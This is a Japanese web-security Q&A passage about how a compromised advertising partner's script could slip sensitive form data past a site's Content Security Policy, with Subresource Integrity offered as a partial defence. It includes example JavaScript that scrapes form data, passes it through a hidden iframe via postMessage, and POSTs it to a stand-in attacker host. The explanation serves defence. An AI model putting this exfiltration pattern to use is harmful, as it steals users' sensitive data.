機密データを含むWebページがあるとします。このページでは、外部のiframeでサードパーティのCookieを介してデータを収集するマーケティングパートナーのAdvertisingpartner.comを使用しています。比較的厳密なCSPを適用しました。
connect-src 'self';
frame-ancestors 'self';
frame-src 'self' https://advertisingpartner.com;
media-src 'self';
object-src 'none';
script-src 'self' 'unsafe-inline' https://advertisingpartner.com;
style-srce 'self' 'unsafe-inline';
次に、マーケティングスクリプトが通常のスクリプトタグを介して読み込まれ、iframeが挿入されます。ここで、マーケティングパートナーが侵害され、トラッキングiframeのインスタンスを作成するコードが追加されたとします。
var data = scrape_sensitive_data_from_forms();
var frame = document.createElement("iframe");
frame.id = "attackerframe";
frame.style.display = "none";
frame.onload = function() {
document.getElementById("attackerframe").contentWindow.postMessage(data, "https://advertisingpartner.com");
};
frame.src = "https://advertisingpartner.com/trackingframe.html";
document.body.appendChild(frame);
彼らの追跡フレームには、データを取得して取り出すために追加された適切なメッセージ受信機能があります。メインサイトとは異なるドメインにあるため、CSPが適用されていません。
function receiveMessage(event) {
var req = new XMLHttpRequest();
req.open("POST", "https://attackersite.com/collectsensitivedata.php", true);
req.send(event.data);
}
window.addEventListener("message", receiveMessage, false);
この攻撃から私を救うことができるものは何ですか?
ページのコンテキストで広告パートナーのコードを許可し、DOMとページ上のすべてへのフルアクセスを付与します。スクリプトが危険にさらされてロードされた場合、実行できることはほとんどありません。ただし、含めるスクリプトが以前の既知の状態から変更されているかどうかを検出する方法があります。これは Subresource Integrity と呼ばれます。
このようにして、パートナーが危険にさらされ、彼のスクリプトが変更された場合、ブラウザにロードしないように指示します。これには明らかに欠点があります。
1つは、パートナーがあなたの助けなしにあなたのサイトでスクリプトを更新することができないということです(スクリプトを挿入するローダーを使用しない限り)。
パートナーがSRIを備えたローダーを使用している場合、これは機能します。ローダーは、できればSRIを使用して他のスクリプトをロードします。 CSPのrequire-sri-for ディレクティブを使用して、すべてのリソースに対してSRIを要求できます。
ただし、パートナーが危険にさらされてローダーが動的に動作する場合は、SRIを使用しても、サイトで悪意のあるスクリプトを実行できる可能性が高いことに注意してください。悪意のあるスクリプトの整合性タグを生成する必要があるだけです。
この攻撃から私を救うことができるものは何ですか?
あなたの最善の策は、スクリプトにSRIを利用し、それが静的であることを願うことです。ただし、動的に動作する場合(他のスクリプトの読み込み、iframeの挿入、および通信)、できることは多くありません。
別の方法として、スクリプトのコンパクトバージョンを作成してホストするよう依頼することもできます。